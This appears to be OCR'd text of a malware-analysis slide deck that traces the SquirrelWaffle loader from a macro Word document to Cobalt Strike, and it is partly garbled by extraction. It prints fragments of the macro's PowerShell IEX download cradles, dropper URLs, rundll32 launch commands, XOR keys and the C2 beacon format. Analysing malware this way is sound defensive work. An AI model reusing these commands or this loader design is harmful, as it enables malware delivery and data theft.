SquirrelWaffle

From Maldoc to Cobalt Strike

Joel Donne | @jxd_io



Background

= A new spam mail campaign has been running since mid-September 2021, which delivered a new
kind of malware loader - SquirrelWaffle

= Similar to other campaigns before, this one sends a mail with a malicious attachment or a link to
download one.

= Let's analyze it!



Virustotal Research

Campaign uses similar naming scheme: ,diagram-<Number>.doc*
— Sample Case 1) diagram-721.doc
— Sample Case 2) diagram-623.doc

Z | name:"diagram-*.doc" and type:document

Search results on VT: 76 files since 10.09.
= Submissions from DE, FR, HU, IN, US

|:| FILES 20/ 71

* |n some other cases .xIm files are used for initial compromise,
but the delivered samples in stage 2 and afterwards are the same

4 O \_'J 40 security vendors and 5 sandboxes flagged this file as malicious

A449fc42c5403c4126Td123065a01c2b834161514086a2741477d3C18d8874238 22352 KB 2021-09-20 12:29:22 UTC

diagram-721.doc

doc handle-file macros obfuscated open-file run-file  write-file




Analysis — Stage 1 DocuSign

This document created in previous version of Microsoft Office Word.

W To view or edit this document, please click "Enable editing" button
on the top bar, and then click "Enable content”

= \WWord document with obfuscated VBA macro

= Analysis via olevba --deobf
— Some decoy code
— Dropper & CnC communication

HH6 11

HH@= HH9+HH8+HH/7+HHG6
Set Ran = CreateObject
Ran.Run HHO+LL1,Chr(48
Ran.Run HH@+LL2,Chr(48
Ran.Run HH@+LL3,Chr(48
Ran.Run HH@+LL4,Chr(48
Ran.Run HH@+LL5 48
|

Sub eFile(
Dim QQ1 As Obj
Set QQ1 = New Form
trReverse( ™)\ oK1
RO + StrReve . Ran.Run
StrRevers ) 0K2 "
= StrReverse( ) Ran.Run
QQ1.t2.Caption 0K3 '
MyFile = FreeFile Ran.Run
Open ROI For Output As #MyFile OK4
Print #MyFile, WW Ran.Run
Close #MyFile OK5
fun Shell(StrReverse bv.nip\ : exe N 1 Chr( ) Ran.Run

# IEX i " hxx ri reers.c y7g/pt.html”
LL1 0 repla ’ al 0 a . t Ne'; 1

# IEX
LL2
d11') |IEX
nl'; $r
# IEX Cli " i " g S5NDoE3kQA/pt.html*
LL4 E ; E 5 ject Ne'; $uw=

# TEX :
LL5 )E) ; j ; nl ) o . y



Analysis — Stage 1

hxxps://priyacareers.com/u9hDQN9Yy7g/pt.html
hxxps://perfectdemos.com/Gv1iNAuMKZ/pt.html

hxxps://bussiness-z.ml/ze8pCNTIkrlS/pt.html

hxxps://cablingpoint.com/ByH5NDoE3kQA/pt.html | %"splcln“s nﬂc-ﬂli
N RECEIVED

hxxps://bonus.corporatebusinessmachines.co.in/1Y0OqVNce/pt.html

m drop

execute
DOC P—

. DIRGRAM-621.00C
g DLL

WI

C:\ProgramData\pin.vbs “cmd /c rundll32.exe C:\ProgramData\www1.dlIl,ldr" www1.dll
VB "cmd /c rundll32.exe C:\ProgramData\www?2.dll,Idr" www2.dll
"emd /c rundll32.exe C:\ProgramData\www3.dll,Idr" www3.dll
"cmd /c rundll32.exe C:\ProgramData\www4.dll,Idr" www4.dll
"emd /c rundll32.exe C:\ProgramData\www5.dll,Idr" www5.dll




Analysis — Stage 2

» Dropped PE-DLLs www[1-5].d11 vary on
requested dropper URLs

= Code is obfuscated " \
> Ol "' EXPORT

"'All MY FUNCTIONS AlSll “LDR", RIGHT?

= The called ,|dr” function is not available... i
» 7

] Exports B IDA View-A B Pseudocode-A \

Mame Address COrdinal
] Actcause 6F8CDTAD ‘
1i] Breakbox 6F2CDET0 2
] causeSeat 6F2CDE30 3
1] buringweight 6FECDCFD 4 ,,‘
¥ equalcry 6F2CDBFD 5
T oidkind 6F3CDCEO 6 “ -
. CHECDCED @ AI.SII LDR", RIGHT?
{i] Teachhear 6F8CD940 8
i DUEntryPoint EFRC13DB 268445915




Analysis — Stage 2
Flow Graph

T

1 i

EEEIE![I]]]]]?IZ TMIEED




Analysis — Stage 2 o

Address COrdinal Mame
GFEE30D4 CreateFileW
BFRE30DE GetTempPathW

BFEE30DC GetEnvironmentVariableW
GEEE30ED GethModuleFileMameWW

6FEE30E4 VirtualAlloc

= Some interesting Imports of this sample are =T T
R : CreateDirectonyW
not referenced dlreCtly- .. 3 LPVOID _ stdcall VirtualAllec(LPVOID lg.JAdd.r‘e.s.s,_S v

UnhandledExceptionFilter
extrn VirtualAlloc:dword

3 BOOL _ stdcall VirtualFree(LPVOID lpAddress, SIZH

“ Warning

X

SetUnhandledEx ceptionFilter
GetCurrentProcess

TerminateProcess

There are no xrefs to VirtualAlloc
Program Analysis  Rule Generator A 19 |sProcessorFeaturePresent
== [] Don't display this message again (for this session only)
GetCurrentProcessld
[ Limit results to current function = . GetCurrentThreadld
_ elp
|seal'ch... e GetSystemTimeAsFileTime
L _ _ Initialize5ListHead
[ allocate RWX memory host-interaction/process/inject IsD EbUQQErP resent
[ basic block{loc_6F8E22CF) 6FEE22CF GetStartuplnfollV
[] allocate thread local storage host-interaction/process EncodePointer
- R RaiseException
hd check mutex host-interaction/mutex .
O R InterlockedFlushSList
[ basic block{loc_6F8CEFDS) 6FBCEFDE
v [] contains PDB path executable/pe/pdb GetlastError
[ regex(A\\.pdb/) 6FBFEA94  "c:\\equali\True\\bird Select\\730\\true.pdb" SetlLastError
+ [] enumerate files via kernel32 functions host-interaction/file-system/files/list Rt nwind
[ function(sub_6F8CTSED) 6FBCTSED EnterCriticalSection
v [] get common file path (2 matches) host-interaction/file-system LeaveCriticalSection
[] function(Equalcry) 6FBCEBED o .
[ function(Teachhear) CFRCEOAD DeleteCriticalSection
v [] get thread local storage value host-interaction/process InitializeCriticalSectionAndSpinCount
[] function(sub_6FSCEE9A) 6FBCE89A Tshlloc
» [] link function at runtime linking/runtime-linking TsGetValue
i 6F8CSDAF
[ functionisub_6F8C5DAF) 5 TlsSetValue
v [] query environment variable host-interaction/environment-variable TIsF,
[] function(interesting_func) 6F8E2210 5l rEjE
w [] set thread local storage value host-interaction/process EF2E3134 Freelerar},r
[] functionfsub_6F8C88D9) 6E8CA8D9 GFEE3158 GetProcAddress
v [ write file (4 matches) host-interaction/file-system/write BFRE315C LoadLibraryEx\W
[ function(sub_6F8CADIC) 6FBCADIC

FLARE CAPA explorer




Analysis — Stage 2

Lets start with the dynamic analysis setting a
breakpoint at kernel32.dll VirtualAlloc

1) Call is coming from
call dword ptr ds:[ebx+2113E4]

2) Allocated memory is written by
rep movsb

3) Jumping into buffer shellcode via
Jjmp eax

L Log

[ Motes

® Breakpoints

B9 Memory Map

[ call Stack = =@ SEH

o] 3

G6F 600587
6F 600588
G6F 600584
G6F 600530
6F 600531
6F 600592
G6F 600598
6F 6005394
G6F 6005 9C
6Fe005AZ
G6F&005AE
GF6005AA
6F6005AC
G6F6005AE

51

8A 00

FF93 E4132100
59

5E

8383 BB132100
BaC7

F3:A4

BEBE3 C4132100
SDEE ES8132100
29F7

0O1F8

FFED

BBE93 98132100

push ecx
=Tl

1)

2) |

call dword ptr ds:[

ebx+2113E4] |

EE—

pop esi

mov dword ptr ds:[e
Lo ad4d oo

bx+2113B8] , eax

rep movsh

v Lo e g
1ea edi,dword ptr d
sub edi,esi

add oo od4

b e e e e |

si[ebx+2113E8]

3)

jmp eax




Analysis — Stage 2

Lets start with the dynamic analysis setting a
breakpoint at kernel32.dll VirtualAlloc

1) Call is coming from
call dword ptr ds:[ebx+2113E4]

2) Allocated memory is written by
rep movsb

3) Jumping into buffer shellcode via
Jjmp eax

E8 90 00 00 00 = shellcode call instruction

51

6A 00

FF93 E4132100
59

5E

8383 BB132100
89C7T

FI:A4

S5BE3 C4132100
BDEE EB132100
29F7

O1ES

push ecx
push 0
EEll dword ptr ds:[ebx+2113E4]
pop ecx
pop esi
mov dword ptr ds:[ebx+2113B8],eax
mov edi,eax
movsh
esi,dword ptr ds:[ebx+2113C4]
edi ,dword ptr ds:[ebx+2113E5]

FFEOQ

SE9S Solsclio0

N+2113938]

eax=00D705A8

.data: 6FE005AC www2.d11: $405AC #0

B2 Dump 1

24 Dump 2

4 Dump 3

4% Dump 4

4% Dump 5 & watch 1 [x=] Locals

Hex

SE——
E8 00 00

00

1 UL B3

00JSE 81 EE|ED 13 21 00(8D B3 40 0OE
C4 13 21 00[8D B3 9F DE[21 OO 89 B3

call D7FO5AD

ED132100
400E2100
C4132100
SFOEZ100
98132100
3C

C8132100
D0O132100

DFOEZ2100

64 06
68 BEB4E0DOO
SDEE FFOEZ100

HOR A

sub ebx,2113ED
1ea esax,dword
mov dword ptr
lea esi,dword
mov dword ptr
mov eax,dword
mov dword ptr
1ea esi,dword
push esi

1ea esi,dword
push esi

push &

push D4ESS
lea edi,dword

e

ptr ds: [ebx+210E40]
ds: [ebx+2113C4] ,eax
ptr ds: [ebx+210E9F]
ds: [ebx+211398] ,es1i
ptr ds:[esi+3C]

ds: [ebx+2113C8] ,eax
ptr ds:[ebx+2113D0]

ptr ds:[ebx+210EDF]

ptr ds: [ebx+210EF7]

00D 705 AD

00D 7O5A8

B4 Dump 1

pump 2

24 Dump 3

B4 Dump 4

24 Dump 5

[x=] Locals Q

%gﬁmauh 1

Address

00D 705 A8

00

o]

00J5E 51 EB 1z

UL AUSBES
00DFO5CS
00D 705D &
00DFOSES
00DFOSF&
00D 70608

-5
21
00
5D
08
00

LX)
o0
56
BE
BB
FO

Lo
8B
8D
F7
83
FF

13 21 00 =F]
46 3C B9 c8
B3 DF OE o0
DE 21 00 D7
EF OF 21 EBE
FF && 81 4D

21
9F
13
56
53
1F

00

5A 7

B3 40 OE . .@&.
00 89 B3| !...A.1..". ...
8D B3 DO|..!..F<..E.!.."D
68 88 4E|.!.V.*"R.!.Vj.h.N
OF 21 00|...»=. . 9.7, 1.
C4 13 21|.t...9.!1.8...A.!
2D 00 10| .%.0yyT.aMZt. ..




Analysis — Stage 2

| Log | Notes #® Breakpoints ## Memory Map [l call stack &7 SEH

00D702D5 BIES mov ebp,esp
00D702D7 5EBE45 08 mov eax,dword ptr :[febp+sj
0007 02DA BE4D 0OC mov ecx,dword ptr :[flebp+Cl
00D7 020D 8B5S 10 mov edx,dword ptr :febp+10j
00D702ED 31DB xor ebx,ebx
00D702E2 89CE mov esi,ecx
00D70Z2E4 83E6 03 and esi,3
. 00DTOZET 75 12 jne D702ZFB
Loscl q 4
= A further call of VirtualAlloc leads to a new 2 | 2 Roy Sxyovord prr ssileosiol
00D7025 2 ceb2 02 S s
e F
buffer cooroges | oA o7 S
00D702FB 3010 xor byte ptr ds:[eax],dl
00D702FD 40 inc eax
00D702FE E2 E2 loop D7D2ZE2
co leave
00D70301 C2 0C00 BEH C
. . . 00D7 0304 sub esp,10
= Sett HW,Write break t on that buff 0037030
eting a , WWIItE Dreakpolint on that outrer 0007 push ebp
. . . . H:;Bi[f gg‘::_';z-l 24 maov E%T,gwur‘d ptr ss:ifesp+z4)
7 Xor cC C
leads to the routine which fills this buffer o7 i Ror Shbidop
; 1 30C0 Xor a1,é1 .
B85F6 test esi,esi
57 push edi
554024 13 mov byte ptr ss:[fesp+1i3f),cl
OF36 9BOO0OO0DOD jbe D703BE
. . 7 el EE 04 jmp DF0229
7 zz:Pesp+28
= Remove this breakpoint and set another one : e A

7 74 2F je D7O35C _. .
at the end of the filling routine L E
7 8079 01 00 cmp byte ptr ds:[ecx+1],0

(leave instruction) 7222 ee e e R S e

= Magic Bytes: M8Z - aPLib compression

00EBOOOD
00EBDOLO o c a
DOEBO0Z0 : 7 7 7 !.8L..This p.ro
] gIam.c.mn>.tIbe .
7 ug 01 .Dosim. ode. .
DOEBDOS0 ..5.0.8.AXB. .. "




Analysis — Stage 2

B |rlog [ Motes ® Breakpoints ™A MemoryMap [ Call Stack =3

adc di1,d1

ret

XOr eCX,ecx

inc ecx

call As0236

adc ecx,ecx

call As0236

jb AGDZ43

ret

sub edi,dword ptr ss:[lesp+
mov dword ptr ss:l[fesp+icll,
popad

ret

sub esp,s

push ebx

mov ebx,dword ptr ss:|lesp+
push ebp

push esi

XOr eax,eax

push edi

xor esi,esi

AR RIIR NN rmn wnrd nre ds:Tehv1l 0

» To reveal the aPLib decompression routine
remove all further breakpoints and set a new
one (HW,Access) at the M8Z header bytes

—> Breakpoint triggerd in the aPLib
decompression function

- The EDI register reveals the destination
offset for the decompressed content

= Replace the breakpoint with one at the end of AR R R T
the decompression routine '
(ret instruction)

> Decompressed PE-DLL | iid

= Dump PE-DLL




Analysis — Stage 2

= Idr” function has only one call instruction to
the main function

public ldr
ldr proc near
call
Xor 2aX,
retn
ldr endp

main_functicn

eax

= To start ,Idr” function, do the following steps:
1) Load PE-DLL in x32dbg

2) Run DIIEntryPoint function till returning to
initial ntdll call (at least function at offset

0x1000)

3) Move EIP manually to ,ldr" entry point

sub_leeeleas endp

offset ;Abcdefghijklmn 3 "ABCDEFGHIJKLMNOPQRSTUVMXYZabcdefghijklm”

sub_leealeas proc near ;
push 48h ;3 @' 3 Size
push
mowv ecx, offset Buf ; woid *
call copy_data
push of fset sub_l@ee3gse ; void (_ cdecl *)()
call _atexit
pop ecx
retn

DATA XREF: .rdata:1888A228)0

Imports

@ Exports

“Idr"-function
in
export-directory

"ldr"-function
in embedded

aplib compressed

pe-dll

Imports

1 DIlEntryPoint

0 @

IDA View-A

Address

®T) 10004010
3 10004014
10004018
1000A01C
10004020
10004024
10004028
1000A02C
10004030
10004034
10004038
1000A03C
10004040
1000A044
10004048

T 1000A04C

Ordinal

Name

GetUserNameW
GetAdaptersinfo
GetComputerNameW
WinExec
SetUnhandledExceptionFilter
Sleep

HeapFree
GetCurrentProcess
GetProcessHeap
IsProcessorFeaturePresent
IsDebuggerPresent
QueryPerformanceCounter
GetCurrentProcessid
GetCurrentThread|d
GetSystemTimeAsFileTime
InitializeSListHead
TerminateProcess
HeapAlloc

Library
ADVAPIZ2
IPHLPAPI
KERNEL32
KERMEL32
KERNEL32
KERNEL32
KERNEL32
KERNEL32
KERNEL32
KERNEL32
KERNEL32
KERMEL32
KERNEL32
KERNEL32
KERNEL32
KERNEL32
KERNEL32
KERNEL32

Address Ordinal
10005610 1

10008AF2 [main entry]

Rule Information
[ contains PDB path
[ create process (3 matches)
[ encode data using Base64
[ get MAC address
[ get hostname
[ get local IPv4 addresses
[] get networking interfaces
[ get session user name
[ initialize Winsock library
[ receive data
[ receive data on socket
[] reference Base64 string
[ resolve DNS
[] send HTTP request
[ send HTTP request with Host header
[ send data
[ send data on socket
[ validate payment card number using luhn algorithm
[] write file (2 matches)

Address

Details

executable/pe/pdb
host-interaction/process/create
data-manipulation/encoding/baseéd
collection/network
host-interaction/os/hostname
host-interaction/network/address
host-interaction/network/interface
host-interaction/session
communication/socket

communication
communication/socket/receive
data-manipulation/encoding/baseéd
host-interaction/network/dns/resolve
communication/http/client
communication/http

communication
communication/socket/send
data-manipulation/checksum/luhn

host-interaction/file-system/write




Analysis — Stage 3

offset akjkle

The interesting parts of that function are T SRS,
mainly the decryption of the CnC server list

byte ptr [ebptv:
eax, [ebptvar_1

and the ones which are used to generate the

eax ;3 Src
sub_leeassFe

payload for the further communication. e R

xor_crypt 3 Encrypt further b64 Payload

H
; "DESKTOP-BP34CT7E\t\tUser\t\tC:\\Users\\User\\AppData\\Roaming\t\tWORKGROUP\t\t

H
; EAX: &XORd_Buffer

eax, [ebp+nsize]

eax 3 nSize
eax, [ebptBuffer]

eax 3 lpBuffer
ds:GetComputeriamel

eax, [ebptnsize]

eax ; pcbBuffer
eax, [ebp+Buffer]

eax 3 lpBuffer
ds:GetUserNamek

The output from the function calls are

concatenated in a string like
<ComputerName><Username><AppDataPath><Domain>

c, 1lu, enc_data[enc_data_index] ~ key[enc_data_index ¥ all]};

and XORd with the static key ,KJKLO"

XOR crypt function



El NoFes ® Brezkpoints ¥ Memory Map [ Call Stack Script ‘%] Symbols
Analysis — Stage 3

50

E8 6A13 0
8D8D BOFDFEFF
Ce45 FC 7 3 r
E& 1BD4FFFF : — AT 7 ARGAE B
B3C4 30 2087041.70D94590
8D8D CBFDFEFF

[ EE X RN

T

EFLAGS

v A oE

Default (stdcall)

To follow the preparation, set e
breakpoints to the XOR crypt ceccirmmoisso somros :
function calls.

5z |4F
) AD BA|OD

[l Motes ® Breakpoints B Memory Map [} call Stack | Script & Symbols <2 Sgurce

k

m 3y B
£all <3087041

The result of the call is
returned as a pointer in the
EAX register

CE45 FC 07 W by 7
EE8 1BD4FFFF 1.) _ | g : 308704
83C4 30 0 - -
BDED CBFDFEFF e r B e WEh R
: SEReE

Default {stdcall)

1l=

2: [esp+8]

3: [esp+C] 7

4: [esp+10]

5: [espt+14]

.
.
.
L
.
.
.
.
.
.
.
.
L
.
.
.
.
.
.

[x=] Locals
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After XORIng the concatenated string,
the result is encoded base64

| Log | 1 Notes ® Breakpoints
BD95 CBFDFEFF
FFBS DSFDFEFF
0OF4395 CSFDFEFF
BDED BOFDFEFF
E8 GBCEFFFF

rd ptr t[febp-11

0 p!
ey ; 041.70D957D0

rd ptr

. 70D9465
rd ptr s

Input  XOR B64  Output

o Default (stdcall)

Recipe Input

Dw8YB
SUQISY

8D95 CB8FDFEFF
FFES DBFDFEFF

0F4395 C8FDFEFF

SDED BOFDFEFF

ES GBCEFFFF

83c4 04

8D8D CSFDFEFF dword ptr Debp-1

From Baset4

Output

DESKTOP-EP24

41.70D957D0
\R : dy
\Roaming

d ptr Bebp-1

Remove non-alphabet chars

72 31
8B8D BOFDFEFF r Bebp-1
42

BBC1

097EF80
Null
preserving

ID94605 30

FOoSPWEr Py 0
ISY1LUIFGAQYAAS
EESDRUY=.D.%.0. °

CyberChef decryption
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Like mentioned before, the
XOR crypt routine is also used
to decrypt the embedded
CnC server, but using a
different key.

while ( 1 )

H
Jene_communication(vlsz, viS3, viss,

CnC communication function

Key for CnC server list decryption
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og = S i = a -' L Script ‘E Symbols <7 Source

vbjNNGUTBRTUTAG &"celulasm

' :lfeb
C mov byte ptr : 700 91EB! 3087041, 700
ES FFFAFFFF call <3087041.xor_crypt=>

LI add esp,30 EFLAGS 00D

Default (stdcall)
[esp+4] OODSFEZ2S
[esp+8] OO97EF4C &""
[esp+C] 7OD9LESD
[esp+10]
[esp+14]

sSessBRRRRRRERRRRRS

.Text:70D91EB1 3087041.d11:$1EB1 #1254

OODED3EE 55 75| BC B D | B! 4 g ] ) > | ceTulasmadr eenme
00DE03CE ) | 2 ) 2F |57 74 X1CO.Com.mx,/ WE79
0ODED3DE 41 . 5 7 3 9|61 & . ua||:|er encial.i
OODG0D3ES 5|6

L0000 UUTES S8 48 77720 FC Do I OODBOZFS
00D 60408
00D&E041S8
00D&0428
00DEe0438
00D &0448

00D &0468
00DE047 8
00D&e0488

|re r |:I1r1|:|u ro

xT4cS4GPL | cabl

‘|r1|:|p||'|r1t.cn'n ‘LjD

GOoh plper recru:IE'n

i

D E0508 | 4 .5 44 317 5 N5SDL | |:11 a uph1 r e
DEOS1E| 74 64 B4 & ) 9|46 4F 3 tddvn. miF043
DE0528 7 9|7 ] 3 61|72 65 7 rF‘-ah| pr iy acar eer
DE0538 D 2 45 4 5 ; com,/ G1THr'|PhLI|a
IDE05 48 7 : 2 I:.

00D&OS5 8

00D 60568

00DGE0O5 78

00D E05 88




Analysis — Stage 3

In the next step the malware

gﬁCPU

;; MNotes

® Breskpaoints

B Memory Map [ call Stack =% SEH

1¢%] Seript

iﬁ Symbols <> Source #~' References

'S Threads

LtLog

E8 FO3F0000O
B3EC 18

C645 FC 11
BDB5 EBFIFFFF
BBCC

50

E8 ZBZEOODOD
BDBD ADFIFFFF
C&45 FC 10
E8 DCEEFFFF
8BFO

B3C4 30

BDBS EBFIFFFF
3BCE

74 S5E

BBS95 FCF9FFFF
B3IFA 10

72 2B

call <2087041.copy_data=

sub esp,18

mov byte ptr ss:[lebp-4,11

lea eax,dword ptr ss:|[Jebp-c13]
mov ecx,esp

push eax

€all 3087041.70D958F0

Tea ecx,dword ptr ss:|[Jebp-s660]
mov byte ptr ss:|Jebp-4J,10
€all <3087041.xor_crypt>

mov esi,eax

add esp,30

lea eax,dword ptr ss:|[Jebp-c1s]
cmp eax,esi

je 3087041.70D92B41

mov edx,dword ptr ss:|[lebp-504]
cmp edx,10

ik 3087041.70D92B19

src

srec

[ebp-

esi:”

[ebp-
eax:&"JcrgRYwTiizsZztrQhtlo.0.0.249", esi:"

618] : "JcrgRYwTiizs2trQitl0.0.0. 249"

110.0.0.249™, eax:&"JICrgRYWTi1Zs2trQh,

618] : "JcrgRywTiizs2trQitlo.0.0. 249"

EAX
ECX
EBP
ESP
ESI
EDT
EIP

EFLAGS

&l Handles

D037ESSC

0097EBEC
00333432
D097EF4C
O097ESSC
00D E3FDO
0000001E

FOD92ACF

00000310

tdcall)

i7 Trace

&"ICrgRYWTiizs2ztrQyt10.0.0.24

&
&"ICrgRYWTiizs2trQit10.0,0.249"
"\L10.0.0.249"

3087041.70D32ACF

Default (=
1

[esp] OOD73C68 "JCrgRYWTiizsZtrQitl0.0.0.243"

[esp+4] D097ESSC .

[esp+8] DO9T7EF4C &""6™"

[esp+C] 70D92ABO 3087041.70D92ABO
Fesn+101 _00NONNIR

does more preparation for a =i

further communication with the —
CnC server

It concatenates a random
string with the the local IP

0 <

BDBS5 EBF9FFFF

ES8 ZBZEDDOO
B8DBD AOF9FFFF
C645 FC 10

ES8 DCEEFFFF
BEFD

83C4 30

BDBS EBF9FFFF
3BCE

74 S5E

B8B35 FCFIFFFF
83FA 10

72 2B

mov ecx,esp
push eax
call 3087041.70D958F0

mov byte ptr ss:|lebp-4f,10
£all <3087041.x0r_crypt>
mov esi,eax

add esp,30

cmp eax,esi
je 3087041.70D92B41

cmp edx,10
ib 3087041.70D92B19

.[eﬁp-els]

Tea ecx,dword ptr ss:|ebp-&50{

lea eax,dword ptr ss:|[ebp-613]

mov edx,dword ptr ss:|lebp-6o04]

[ebp-818]
Src
Src

esi:"\t10.0.0.249",

eax:"ofx", esi:"\t10.0.0.

eax: "ofx"

"JergRYWTiizs2trQitl0.0.0.249"

[ebp-618]:"JcroRYwTiizs2trQhtl0. 0. 0. 249"
243"

O097ESEC
00000000
FADEBEG6Z0
Qo00000F
O097EF4C
O097ESSC
QODE3FDO
0000001E

E31

EIP 70D92AD4

EFLAGS 000002

Default (stdcall)

[esp+4] 0097
[esp+8] 0097

es5i=00D069FD0 "\ t10.0.0.249" [esp+C] 70D9
eax=0097EBEC "Ofx"

Fesn+141 000

address, XORs and encodes it
base64

.Text:70D92AD4 3087041.d17:52AD4 #1ED4

Hex

0oOD7e6F0 |01 29
OODTE&E7F00 | 43 TA

ASCII

79 38 3D 1A|.)9+..=.%&19y8=,
0D FO AD BA|Cz|a{d{b}.s..B.°®

25 26 31 39

ZB(1D 12 3D 1F
b 70 FF 73 0O

Address | Hex 7B &2

e
OD97EBEC (EQ 66 D7 00 26|

012 2D 1F Eﬁ'..

8D95 ESBFIFFFF
B8B85 ESBFIFFFF
B8D8D AOFIFFFF
FFBS FB8F3FFFF
OF43D0

Tea edx,dword ptr ss:|le

mov eax,dword ptr ss:|ebp-515])
lea ecx,dword ptr ss:|lebp-660J
push dword ptr ss:|ebp-&605]
cmovae edx,eax

. bp-618
Recipe Input p-G158
Src
int
eax:&"ASkSKxOSPRE1IJES eTgIGkNEFGF7ZHE i FXaz ™

0097ESEC
00000000
FAOGBEGF4

ASkSKxBSPR81IjESeTgoGkNeTGF7ZHEIfXo9z
From Base64

Alphabet
A—Za—z@—9+/: Output

JergRYwTiizs2trQ 16.68.8.249

Remove non-alphabet chars
XOR

Key
KJKLO

Scheme

Standard I:I Null preserving

CyberChef decryption

AN R R RN NN

B985 T74F7FFFF
E8 CEESBFFFF

mov dword ptr ss:|[ebp-3sC[,eax
call <3087041.xor_to_be4:>

BBFO
83C4 04

BD85S EBFIFFFF

3BCE
74 6C

BBBS FCFIFFFF

B3F8 10
72 2D

BB9S EBFIFFFF

8D48 01
BBC2

mov esi,eax

add esp,4

lea eax,dword ptr
cmp eax,esi

je 3087041.70D932C25

mov eax,dword ptr ssiffe
cmp eax,10

jb 3087041.70D92BF1
mov edx,dword ptr ssiff
1ea ecx,dword ptr ds:[
mov eax,edx

ssifie

e
e

bp-6518]

bp-604]

bp-615[
ax+1]

2571 &"ASKSKXOSPRB11JES eTg9GKNGTGFFZHE i TX9Z™
2dx: &"ASkSKxX0OSPRE11JES eTO9GKNGT GFFZHT i TX9z™

2dx: &"ASkSKxX0OSPRE11JES eTO9GKNGT GFFZHT i TX9z™

eax: & ASkSKXOSPRE1IES eTa9GkNETGF7ZHE 1 TX9z™ ¥

00D7e70E
O097EF4C
0097ESBE
009F7ESBEC
0000001E

E3I

EIP JODIZBAA

EFLAGS

Default (stdcall)
> 1: [esp+4] TAOG
2: [esp+8] 0000

00000

es51=0097E8BEC &"ASKSKX0OSPR81JJESETOIGKNETGF7ZHTiTXIZ "
eax=0097E8BEC &"ASKSKX0OSPR81JIJESETOIGKNETGF7ZHTITXIZ ™

Address | Hex

e
B 78 30 53|50 52 38 6

3: [esp+C] FFFF
4: [esp+10] 00D

00DT76e7 25
o0DT 6738

00076748 66 58 3

41 53 6B
65 54 &7

9

78 30 53|50 52 38 6C|4A 6A 45 35| ASkSKXOSPRETIJES
SA 48 74 69| eTg3GkN&FGFFZHLI
FO AD BA|OD FO AD BA|0OD FO AD BA|TX32.0.°%.0.%.0.°

6B 4E 36|66 47 46 37
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Set breakpoints on
communication functions
(send & recv) to follow the
further communication

898D 7CFTFFFF
SDED BBFIFFFF
EE 1C1EOQOQ0O
8DBD EBFIFFFF
ES8 111E0000D
8D8D B8FIFFFF
E“ 061E0000

68 BOSFEFT4
6A 14

6A 18

8DBS 18FAFFFF
CE&45 FC 06

8DBE FEFEFFFF
CE45 FC 05

FF15 4B8A1BF74
B3F8 FF

0OFB84 39FFFFFF
68 DSAZBFT4
BDBD 3BFSFFFF
EE B61E000D
CE645 FC 27
66120

&8A 00

68 020000
BDB5 DBFDFFFF

€all dword ptr ds:[<send>]

[«closesock
[=WSACleanup:
1

pus h .
call 3087041. :4EF=39n
or edi,l
mov dwnrd ptr
Cx,d

7041, T4BF57
dword ptr
7041. 74BF57
dwurd ptr

febp-sES)
ebp-40,6

EYGXPAXIIPEEXOEZEZ >

febp-40
c

T @YGXFAXIIPEEXI@Z@Z,

Cx , dword ptt f=bp-c00]
call 3n3;n41 T4BFS 780
d

dword ptr
7041. 74BF57
cmp eax,FFFFFFFF

je 3087041.74BF3933

€&l dword ptr ds:[<recv>]

unsigned int

void *

id ([

thi

call

unsigned int

[ebp-40

"celul

smadreenmexico. com.
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Source Destination Protocol Length Info
1&. ; 192.185.52.124 HTTP 253 POST /3

v Hypertext Transfer Protocol
POST /3pdEigqsni/ASkSKx@SPR81IJESeTgoGkN6TGF7ZHEIfX9z HTTR/1.1\r\n
bu .ml\rin 6A 00
onte . 28\ ZBCE
Content-Length: 88\r\n BEBS G4F7EFFF
A\ 51

52

®® T

dword ptr ds:

5Fgo8Pwa
qISY1LUd
dBBEbRUY

[ N ST, R R R Y
OO R WO

a

deiqsni/
PR811JES
F Hti

Prepared HTTP request
sent to the CnC server
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Protocol
HTTP
HTTP

Destination
192.185.52.124
18.68.8.249

Source
18.8.8.249
192.185.52.124

* Hypertext Transfer Protocol
HTTP/1.1 486 Not Acceptable\r\n
Date: Sat, 82 Oct 2821 16:83:28 GMT\rin
Server: Apache\rin
Content-Length: 226\r\n
Content-Type: text/html; charset=iso0-8859-1\r\n

@@ @c 29 f9 8c c4 ad 34 76 ff 75 83 @@ 45 @@
el a@ f7 a9 4@ 2c @6 55 5@ c@ b9 34 Tc @a @@ e
@2 f9 @@ 5@ e9 d3 a@ @b @c 1@ 3@ fb 58 5@ 18 Pl B XP
@l fs ec 47 @e 45 54 54 58 2T 31 2e 31 2@ ©+-@--HT TR/1.1 4
38 36 28 4e 6T 28 41 63 63 65 7@ 74 6l 62 6C @6 Not A cceptabl
65 @d @a 44 61 65 3a 28 53 61 V4 2c 28 3@ 32 e--Date: 5Sat, @2
28 4f B3 74 20 3@ 32 31 28 31 36 3a 3@ 33 3a Oct 282 1 16:83:
32 28 47 ad ed @a 53 65 72 76 65 72 3a 20 28 GMT- - Server:
41 61 63 68 ed @a 43 &6f 6e 74 65 6e 74 2d  Apache - Content-
6e 67 3a 32 32 36 @d Ba 43 Length: 226 Con
Ge 74 79 65 3a 28 74 65 78 tent-Typ e: text/
ad Bc 63 61 72 73 65 74 3d hitml; ch arset=is
38 38 2d 8d @a @d @a 3c 63 0-8859-1 - <hea
3c 74 6cC 3e 4e 6T 74 20 41 dr<title >Not Acc
74 61 &5 3c 2f 74 69 74 Bc eptable! </title:
63 B5 e 62 6T 64 79 3e 3c </head>< body:<hl
6f 74 63 65 78 74 61 62 BC *Not Acc eptable!
68 31 7@ 41 6e 268 61 7B 7@ </hlx<p> An appro
69 61 28 65 78 72 65 73 65 priate r epresent
69 6f 6T 28 74 68 65 28 72 ation of the req
73 74 28 65 73 &f 75 72 63 uested r esource
75 BC Be 74 28 62 65 28 66 could no t be fou
2@ of 74 69 73 28 73 65 72 nd on th is serve
28 54 73 65 72 72 6f 72 20 r. This error wa
67 B5 72 74 65 B4 28 62 79 s genera ted by M
5f 53 75 69 74 79 2e 3c 2f od_Secur ity.</p>
52 6T e 2f 68 74 6d Gc 3e </body>»< Shtml>

HTTP response received
from CnC server

Length

Infa

253 POST /3pdEigsni/ASkSKx@SPRE11jESeTgoakNefGFYZHtif X9z HTTP/1.1 Continuation

438 HTTP/1.1 486 Mot Acceptable

<

BEFF

FE 30

33F6

OF1FOO0

BABC3S DSFDFFFF
888D BOFTFFFF
8D8D 38BFIFFFF
FFBS BOFFFFFF
E8 12ZE0Q000

DD
B8BBS G4F7FFFF

(text/html)

lea eax,dword ptr
push eax

test edi,edi

jle 2087041.70D33ASE

xor esi,esi

